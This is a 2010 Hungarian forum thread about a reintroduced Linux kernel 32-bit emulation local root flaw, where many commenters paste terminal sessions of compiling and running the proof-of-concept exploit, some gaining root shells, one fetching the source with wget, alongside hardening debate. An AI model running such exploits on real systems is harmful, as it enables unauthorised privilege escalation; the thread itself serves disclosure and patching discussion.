[Frissítve] Local root exploit a 64 bites Linux kernel 32 bites emulációjának sebezhetőségére (újra)

 ( trey | 2010. szeptember 17., péntek - 19:43 )

2007 őszén egy exploit látott napvilágot a 2.4-es és a 2.6-os kernelekhez. Az exploit a 64 bites kernelek 32 bites emulációjának sebezhetőségét használta ki. A sebezhetőséget eredetileg a 2009-ben repülőbalesetben elhunyt, ismert lengyel kernelhacker, Wojciech "Cliph" Purczyński fedezte fel. Az exploit sikeres használata esetén a helyi támadó root jogokhoz juthatott. A hibát a kernelfejlesztők kijavították 2007-ben a 2.6.22.7-es kernelben.

Frissítés #1: workaround (ha nincs szükség 32 bites binárisok futtatására):
echo ':32bits:M:0:\x7fELF\x01::/bin/echo:' > /proc/sys/fs/binfmt_misc/register
Frissítés #2: A fenti workaround lehet, hogy nem segít

Ben Hawkes nemrég gondosan átvizsgálta a kernel szóban forgó kódját és Tavis Ormandy jelenlétében észrevette, hogy valami nem stimmel. Szólt Robert Swiecki-nek, aki 2007-ben az eredeti sebezhetőségre az exploit-ot megírta. Swiecki megerősítette, hogy valóban érdekes az, amit talált. Elővették a régi exploit-ot, egy kicsit alakítottak rajta és végül a használatával root shell-hez jutottak.

Kiderült, hogy 2008 elején a javításra készített patch-et eltávolították, így a sebezhetőség ismét kihasználhatóvá vált.

Szeptember 14-én Ben Hawkes bejelentése nyomán javításra került a korábbi baklövés.

PoC exploit itt.

A sztori itt olvasható.

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

Francba.

[traktor@Fedora13-x86_64 ~]$ gcc robert_you_suck.c 
[traktor@Fedora13-x86_64 ~]$ ./a.out 
resolved symbol commit_creds to 0xffffffff8106b711
resolved symbol prepare_kernel_cred to 0xffffffff8106b5f9
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
sh-4.1# 

+1 :-(

+1
--
\\-- blog --//

Reggel van még -.- 32bites kernelen akartam próbálni és nem ment.. azt a csodálkozó arcot kellett volna látnotok :P

+1, de max fél óráig. Gentoom van :), és úgysem használok semmi 32-bites cuccot.
Már ez:
ek@daemon ~ $ ./a.out
resolved symbol commit_creds to 0xffffffff81044e7b
resolved symbol prepare_kernel_cred to 0xffffffff81044d48
mapping at 3f80000000
Process received signal: 11
ek@daemon ~ $

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

-1?

dblaci@dblaci ~ $ gcc robert_you_suck.c
dblaci@dblaci ~ $ ./a.out
resolved symbol commit_creds to 0xffffffff8104956f
resolved symbol prepare_kernel_cred to 0xffffffff810494c3
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
sh-4.1$ ls /root/
ls: nem lehet a következő könyvtárat megnyitni: /root/: Engedély megtagadva
sh-4.1$

gentoo-sources-2.6.35-r7

"Szeptember 14-én Ben Hawkes bejelentése nyomán javításra került a korábbi baklövés..."

Hokuszpokusz nélkül csak git-sources-2.6.36_rc4-r3 -ban van benne a javítás.

Akkor nekem ezért van benne. Nekem a sima stabil ágból a Gentoo-sources van fent. De a kernelkonfban simán kikapcsoltam a 32-bites emulációt. Végignéztem a szoftvereimet semmi nem igényli. Sőt annó (amikor vagy 2 éve felraktam a rendszert) a no-multilib et is állítottam be mint default környezetet.

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

Durva!

Úgyis kernelt akartam már frissíteni.

+1
Nalam is fut :S

-----
“Firefox, you say? No I don't play Pokémon”

Ajjaj. Nálam is... ;(

waiter@psychon:~$ gcc robert_you_suck.c
waiter@psychon:~$ ./a.out
resolved symbol commit_creds to 0xffffffff8108bd90
resolved symbol prepare_kernel_cred to 0xffffffff8108c170
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
# whoami
root
# uname -a
Linux psychon 2.6.32-24-generic #42-Ubuntu SMP Fri Aug 20 14:21:58 UTC 2010 x86_64 GNU/Linux
#

- waiter -

[salaud@bors Desktop]$ gcc robert_you_suck.c
[salaud@bors Desktop]$ ./a.out
resolved symbol commit_creds to 0xffffffff81077f70
resolved symbol prepare_kernel_cred to 0xffffffff810783b0
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
[salaud@bors Desktop]$ whoami
salaud
[salaud@bors Desktop]$ uname -a
Linux bors 2.6.35-ARCH #1 SMP PREEMPT Fri Sep 17 17:49:54 CEST 2010 x86_64 Intel(R) Celeron(R) CPU E3200 @ 2.40GHz GenuineIntel GNU/Linux

Na, ezért váltottam Arch-ra, többek közt.

---------------------------------------------------------------------------------
A Linux nem ingyenes. Meg kell fizetni a tanulópénzt.
Az emberek 66 százaléka nem tud számolni! Gondoljatok bele, ez majdnem a fele!!

Nekem speciel bubuntus 2.6.35-ot is megeszi.

pdw@lenovo:~$ gcc robert_you_suck.c
pdw@lenovo:~$ ./a.out
resolved symbol commit_creds to 0xffffffff81086390
resolved symbol prepare_kernel_cred to 0xffffffff81086860
mapping at 3f80000000
UID 0, EUID:0 GID:0, EGID:0
\u@\h:\w$ id
uid=0(root) gid=0(root) groups=0(root)
\u@\h:\w$ uname -a
Linux lenovo 2.6.35-20-generic #29-Ubuntu SMP Fri Sep 3 14:55:28 UTC 2010 x86_64 GNU/Linux

Mert viszonylag régen nem frissítettél.

Kosz :D
De amugy igen -22-ben mar fixed.

Hohó... Egy hivatalos, teljesen hétköznapi ubuntus frissítés után ma már:

waiter@psychon:~$ ./a.out
resolved symbol commit_creds to 0xffffffff8108bdb0
resolved symbol prepare_kernel_cred to 0xffffffff8108c190
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
$ whoami
waiter
$ uname -a
Linux psychon 2.6.32-24-generic #43-Ubuntu SMP Thu Sep 16 14:58:24 UTC 2010 x86_64 GNU/Linux
$

Nem sokat tököltek a javítással. :) \o/

- waiter -

Akkor ezek szerint az Ubuntu is érintve volt, csak gyorsan javították.
Előbb javították, mint ahogy a hírt olvastam volna :-)

Már tegnap este javították.

Semmi gáz, én enélkül is root vagyok. :)


suckIT szopás minden nap! kqueue Javához!

Én meg elavult 32 bites kernelt használok. :)

--
trey @ gépház

szervereken is?

Szervereken is van, hogy kénytelen vagyok 32 bitest futtatni. Van olyan rendszer, ahol a magyar fejlesztőcég megkövetelte a 32 bitet, mert szerinte az általa fejlesztett alkalmazáshoz használt komponensek csak azon futnak megfelelően. Én megkérdőjeleztem ezt, de állították, az kell. Ahol meg nem 32 bites futtatok, ott vagy én vagyok az egyedüli local user és a szerver helyi hálón van, így a rizikó sokkal kisebb. Azon a szerveren pedig, ahol nem én vagyok az egyedüli local user, azért nem vállalok semmilyen felelősséget sem - érthető okokból - és azt írásban ki is kötöm.

--
trey @ gépház

Ezt úgy mondod, mintha teljesen természetes lenne, hogy a 64bites kernel kevésbé biztonságos. Van ennek valami alapja, amiről lemaradtam?

Ha neked ez ment át, akkor valamit félreértettél. Tény, hogy vannak olyan okok, ami miatt sok helyen nem használok 64 bites kernelt. Például a saját gépemen. De nem azért, mert a 64 bites kernelt önmagában kevésbé biztonságosabb tartanám. Sokkal inkább a kompatibilitási okok és amiatt, hogy nem látom értelmét a gépemet újratelepíteni amiatt, hogy 64 bites kernelt használjak. Van ahol kénytelen vagyok 32 bites kernelt használni, mert a ISV kiköti, hogy csak azzal megy a szoftvere. Erről beszéltem.

--
trey @ gépház

Ok,akkor megnyugodtam. :)

+1

más user is én vagyok :)

te vagy a www-data és a mail user is? ;)

Nagyapa te vagy az? :-)))

--
falura elmegy, városban meg úgy sem nézik...

be reg is volt az... :)

Mivel ez a szó a magyar füleknek angolul is (rút) és magyarul is (gyökér) nem jól hangzik, ezért ha csak lehet igyekszem nem root lenni. :-)

pop-corn mode enabled..
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Ülj le és kuss legyen!"..

nincs már popcorn mode egy ideje a hupon :(

Ez tenyleg mukodik... (Slackware64-Current)


Sic Transit Gloria Mundi

[zool@ws-test ~]$ gcc robert_you_suck.c
[zool@ws-test ~]$ ./a.out
symbol table not available, aborting!
Process finished
[zool@ws-test ~]$ uname -a
Linux ws-test 2.6.18-194.11.1.el5xen #1 SMP Tue Aug 10 19:41:55 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux

+1
bújtatott subscribe

Gyari kernel, a symbolum tabla letoltheto.
Nincs esetleg a boot konyvtaratokban egy System.map file ?

En nem vagyok hive fejlosztoi gepeken symbolum tabla elrejtesenek, de lehet nem volna hulyeseg, ha csak a root olvashatna.


Amit nem lehet megirni assemblyben, azt nem lehet megirni.

van és olvasható mezei usernek is.

opensuse 11.2:

~> gcc robert_you_suck.c && ./a.out
resolved symbol commit_creds to 0xffffffff81097830
resolved symbol prepare_kernel_cred to 0xffffffff81097a70
mapping at 3f80000000
UID 5040, EUID:5040 GID:5040, EGID:5040

Ez viszont müködik: http://www.seclists.org/fulldisclosure/2010/Sep/268 (csak óvatosan:"it leaves a backdoor behind for itself to exploit later even if the hole is patched.")

Ubuntu 10.4 (up2date) (64bit)

uname -a

Linux lenovo-laptop 2.6.32-24-generic #43-Ubuntu SMP Thu Sep 16 14:58:24 UTC 2010 x86_64 GNU/Linux
user@lenovo-laptop:~$ ./a.out 
resolved symbol commit_creds to 0xffffffff8108bdb0
resolved symbol prepare_kernel_cred to 0xffffffff8108c190
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000

Ugyanez nálam is. Ezek szerint 64 bites Ubuntu 10.04-et nem érinti, ha két esetből általánosíthatok :-).
2.6.32-24-generic #43-Ubuntu SMP Thu Sep 16 14:58:24 UTC 2010 x86_64 GNU/Linux

érintette, de egyből javították

Ubuntu 8.04 (up2date) (64bit)

user@intranet:~$wget  http://sota.gen.nz/compat2/robert_you_suck.c
--22:47:20--  http://sota.gen.nz/compat2/robert_you_suck.c
           => `robert_you_suck.c'
sota.gen.nz feloldása... 184.73.209.117
Csatlakozás a következőhöz: sota.gen.nz[184.73.209.117]:80... kapcsolódva.
HTTP kérés elküldve, várom a választ... 200 OK
Hossz: 5.105 (5.0K) [text/x-csrc]

100%[==================================================================================>] 5.105         --.--K/s             

22:47:22 (47.61 KB/s) - "robert_you_suck.c" mentve [5105/5105]

user@intranet:~$gcc robert_you_suck.c 
user@intranet:~$./a.out 
symbol table not available, aborting!
Process finished

Hehe, SIGSEGV.

hron@chocolate ~ $ gcc -o robi robert_you_suck.c 
hron@chocolate ~ $ ./robi 
resolved symbol commit_creds to 0xffffffff810535af
resolved symbol prepare_kernel_cred to 0xffffffff810534a6
mapping at 3f80000000
Process received signal: 11
hron@chocolate ~ $ 

--

Ki oda vagyik, hol szall a galamb, elszalasztja a kincset itt alant.

eleg "zaj" hozzaszolasok ezek..

Mint általában. Szavazás kéne, kit érint.
robert_you_suck.c:21:21: error: sys/reg.h: No such file or directory

najó, ez olyan "go apa gépe" szintű post volt megint.


szerintem.

Hm, talán ezért nincs fenn gcc a szerveren...

Hmm, félnék, ha azon a szerveren lenne bármilyen fontos adatom.


suckIT szopás minden nap! kqueue Javához!

+1 :)

(Még nem láthatot olyat, hogy másik gépen fordították le és a gcc nélküli gépen csak futtatták .) :)

Lfs-t használ a szerveren?

--
Don't be an Ubuntard!

Nyilván nem véd meg semmitől, de legalább kissé hátráltatja a delikvenst...

miert hatralna?

Mert a craxx0rnak a saját gépén kell akkor lefordítani a cuccot, és ilyesmire azok nincsenek felkészülve. :-)


"no video codec le a win32vel", de "Gentoohoz lehet meg tul fiatal vagy"

időigény szempontjából nem mindegy, hogy a forrást scp-zi fel vagy a lefordítottat?

max, ha modemről nyomja :)

ROFL. Igen, konkretan 2, azaz ketto masodpercig. Tenyleg, iszonyu nagy elorelepes, nahat... Remelem, nem szoktal gepeket osszerakni.
--

Ki oda vagyik, hol szall a galamb, elszalasztja a kincset itt alant.

Ettől még nyugodtan rakhat össze gépeket. Számos gépösszeszerelőt ismerek, aki azt sem tudja mi a gcc. És nem is kell neki tudnia feltételen.

--
trey @ gépház

Én meg remélem, hogy _CSAK_ azt szokott és nem Pakson dolgozik. :)

Lehet h én vagyok naiv, de ha valaki eljut addig hogy ne tegyen gcc-t egy rendszerre (biztonsági megfontolásból), képes arra is h ne hagyjon noexec nélkül partíciót, ahová mezei user írhat.

azt a betyárját, noexec

kicsit bővebben...?

szerintem erre gondolt: http://www.mail-archive.com/debian-glibc@lists.debian.org/msg21746.html

te meg erre(?): http://www.debian.org/doc/manuals/securing-debian-howto/ch4.en.html#s4.9

Newer versions of the kernel do however handle the noexec flag properly:

       angrist:/tmp# mount | grep /tmp
       /dev/hda3 on /tmp type ext3 (rw,noexec,nosuid,nodev)
       angrist:/tmp# ./date
       bash: ./tmp: Permission denied 
       angrist:/tmp# /lib/ld-linux.so.2 ./date 
       ./date: error while loading shared libraries: ./date: failed to map segment 
       from shared object: Operation not permitted

nem :)

akkor biztosan csak beleböffentettél valamit a szálba, hogy lássuk a neved...

Miért nem tudja ő leírni, mire gondolt? Fáj? Ő sem tudja? ...? Ahogy elnézem a válaszát erre a hozzászólásra, esélyünk sincs arra hogy kapunk választ :)

Én nagyjából erre gondoltam amit írtál, de szerintem ezt leírtam, rá lehetett jönni.

Mondjuk az durva lett volna ha egy 7 éves buggal jön elő...

a.

> Miért nem tudja ő leírni, mire gondolt?

Abban semmi trollkodás sem lenne.

egy generációval vagytok lemaradva, linuxszakik

nem baj

A random portra rakott ssh-t ki ne hagyjuk a tuti biztonsagi megoldasok kozul.

--
Fontos feladatot soha ne bizz olyan gepre, amit egyedul is fel tudsz emelni!

Le tudnád írni konkrétan, hol utaltam a noexec-el a tuti biztonsági megoldásra?

Nincs gcc -> le lehet fordítani más gépen és felmásolni -> ezt ki lehet védeni noexec-el.

Ha valamit tudsz ez ellen, vagy kihagytam valamit, légyszi ments meg az örök kárhozattól, és oszd meg velem :)

a.

Pl. python/ruby/php/perl/csh/egyeblofasz kb. minden gepen jelen van...

---
pontscho / fresh!mindworkz

ha azokat se futtatja olyan user akinek nincs rá szüksége? :)

hello,

köszönöm a(z értelmes) választ, valóban, interpreterből van bőven minden rendszeren (a csh miért érintett? - nem használok csh-t).
De ehhez alaprendszer szintű hozzáférés kell, ha minden publikus szolgáltatás jailben vagy netán virtuális gépen fut, ahol nincs semmi, akkor is ki lehet kerülni?

kösz:

a.

Egyreszt - ugyan jelen pillanatban nincs tudomasom ilyen hibarol es ez nem jelent semmit - de jail-bol is ki lehet torni. Masodsorban az aki egy service-on keresztul egy adott kodhalmazt mar bejuttatott az nem feltetlen palyazik shell accountra, plusz egynel tobb hibat is lehet triggerelni ha mar egyszer valamilyen uton modon nem megengedett kodot futtat az illeto. Normalis tamadas eseten nincs szukseg shell accountra a kivitelezeshez, az boven raer az utolso fazisban is aktivalodni ha igeny van ra. Szerintem.

---
pontscho / fresh!mindworkz

de jail-bol is ki lehet torni.

de minek kellene előtte külön kitörni belőle? ugyanaz a sebezhető kernel érhető el a jail-ben is...

Nem kell, csak egy eszrevetel volt, h a jail sem mindenhato.

---
pontscho / fresh!mindworkz

nincsen olyan, hogy "A" biztonsagi megoldas. mondjuk hosting vagy, az apache-ben kihasznalnak egy tavoli kodfuttatasi hibat. ha a backdoorral parhuzamosan egy local root kodot is injektalnak, akkor se a jail, se a noexec nem er sokat.
a noexeccel kapcsolatban se azert vigyorognak itt tobben, mert teljesen haszontalan opcio lenne (vagyis regebben de, hacsak nem allt az egesz rendszer static binarisokbol, szamuzve a linkert :)) hanem mert onmagaban elegtelen, mert ha az exploit letezik/megirhato a celrendszeren megtalalhato interpreterek egyikere, mar ciki van.

Kösz a választ,

ha a backdoorral parhuzamosan egy local root kodot is injektalnak, akkor se a jail, se a noexec nem er sokat.
Ezt értem,

se azert vigyorognak itt tobben, mert teljesen haszontalan opcio lenne ... hanem mert onmagaban elegtelen
de én nem mondtam ilyet, hogy önmagában elég :)
Ez a bosszantó, hogy ilyet olvasnak ki belőle, és nem kérdeznek. De nekem az is jó lenne ha kijavítanának, nem érzem szégyennek :(

ha a backdoorral parhuzamosan egy local root kodot is injektalnak, akkor se a jail, se a noexec nem er sokat.
Ezt próbálom kizárni a jail-lel.

Arra szeretnék rávilágítani, hogy nem lehet mindenhová LIDS-t, RSBAC-ot vagy grsec-et tenni, adott céges policy esetében ahol leteszik az asztalodra a dobozos RedHat-ot, hogy "csak ami a DVD-n van", akkor abból főzhetsz ami ott van.

Az ilyen exploitok (vagyis azok hatásai) ellen Windows-on vagy kereskedelmi Unixokon hogy védekeznek?

Köszi:

a.

Ezt próbálom kizárni a jail-lel

Nem tudod vele kizárni, mert egy valamirevaló támadó "one shot" exploitálja a kernelt is, a jailben futó szolgáltatás hibáján keresztül.

a "ha egy dobozt nem lehet megbontani" szituaciora egesz iparag epul, nevezetesen az "akkor tegyel ele egy masikat" megoldasokat (IDPS) gyartok :)

http://www.ubuntu.com/usn/usn-988-1
-------------------------------------------
Suddenly the Dungeon collapses!! - You die...

na de amúgy sem kötelező 32emut fordítani a kernelbe, vagy félreértem?


szerintem.

Hat, nem kotelezo, csak kabe ontokonszuras ha nem teszed.
--

Ki oda vagyik, hol szall a galamb, elszalasztja a kincset itt alant.

hát nem tudom, szerintem a szerverek 99%-án openszósz cucc fut, azt meg lefordítod 64-re.


szerintem.

Ooo, mintha az oracle csak az ujabb idokben csinalna 64 bites binarisokat... Ezen felul akarmi 3rdparty binaris blobot kell felrakni, ami csak 32 bitben van, mar kesz az ontokonbokes indoka.
--

Ki oda vagyik, hol szall a galamb, elszalasztja a kincset itt alant.

kivételeket mindig lehet keresni, én annyit mondtam, hogy szerintem a többségnek ilyenek nem kellenek.


szerintem.

Miért? Szerverre szerintem tök fölösleges a 32-bites support. Az egyetlen dolog ami egy desktopon hiányozhat emiatt a wine (ami hirtelen eszembe jut, de lehet az is már fut 64 biten).

------
3 fajta matematikus létezik. Aki tud számolni, és aki nem.

skype

Szerverre?

Egyébként ubuntura van 64 bites csomag belőle, bár nem néztem bele, lehet hogy az is 32 bites.

--
Don't be an Ubuntard!

Az is 32 bites.
--

Ki oda vagyik, hol szall a galamb, elszalasztja a kincset itt alant.

erre > "Az egyetlen dolog ami egy desktopon hiányozhat emiatt a wine"

Workaround: Ksplice-olhato.


Amit nem lehet megirni assemblyben, azt nem lehet megirni.

KSplice javítja szépen.

-----
"Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben."

nekem nem adja! :)

pali@calypso:~/Desktop$ uname -a
Linux calypso 2.6.31-22-generic #64-Ubuntu SMP Tue Aug 24 09:33:27 UTC 2010 x86_64 GNU/Linux
pali@calypso:~/Desktop$ gcc robert_you_suck.c
pali@calypso:~/Desktop$ ./a.out
resolved symbol commit_creds to 0xffffffff8107f1a0
resolved symbol prepare_kernel_cred to 0xffffffff8107f3b0
mapping at 3f80000000
UID 1000, EUID:1000 GID:1000, EGID:1000
$

Ubuntu 9.10, amd64, 32 bites futtatás engedélyezve.
btw, most jött apt-vel egy új kernel, de én még a régin próbáltam:

ii linux-image-2.6.31-22-generic 2.6.31-22.65 Linux kernel image for version 2.6.31 on x86/x86_64
ii linux-image-generic 2.6.31.22.35 Generic Linux kernel image

szar ez a linux, annyira inkompatibilis, hogy még egy normális exploitot sem lehet rá írni :(

jsi@netmonster ~ $ make robert_you_suck
cc robert_you_suck.c -o robert_you_suck

jsi@netmonster ~ $ ./robert_you_suck
symbol table not available, aborting!
Process finished

jsi@netmonster ~ $ cat /etc/shadow
cat: /etc/shadow: Permission denied

jsi@netmonster ~ $ uname -a
Linux netmonster 2.6.28-hardened-r9 #1 SMP Tue Jul 7 02:18:19 CEST 2009 x86_64 Intel(R) Xeon(TM) CPU 3.60GHz GenuineIntel GNU/Linux

+1 a grsec-es kernelnek. :)

A RedHat uralkodik! (Meg a CentOS, meg a Scientific Linux, meg a többiek.)

mondjuk nem teljesen világos, hogy red hat-es kernel commit miért nincs benne a red hat linuxban.

<fun>kivéve, ha az volt a cél, hogy elrontsák, aztán elmondhassák, hogy ők bezzeg királyok :D</fun>


szerintem.

Hoppá, szemfüles vagy!
Ezt jól csinálták RedHat-ék! ;)

:D

**Szerkesztve**: oops most nézem ezt már más is postolta :)

grsec?

agoston@o ~ $ gcc robert_you_suck.c
agoston@o ~ $ ./a.out
symbol table not available, aborting!
Process finished
agoston@o ~ $ whoami
agoston
agoston@o ~ $ uname -a
Linux o.hu 2.6.32-hardened-r8 #1 SMP Sat Jun 5 21:06:13 CEST 2010 x86_64 Intel(R) Xeon(R) CPU E5410 @ 2.33GHz GenuineIntel GNU/Linux
agoston@orson ~ $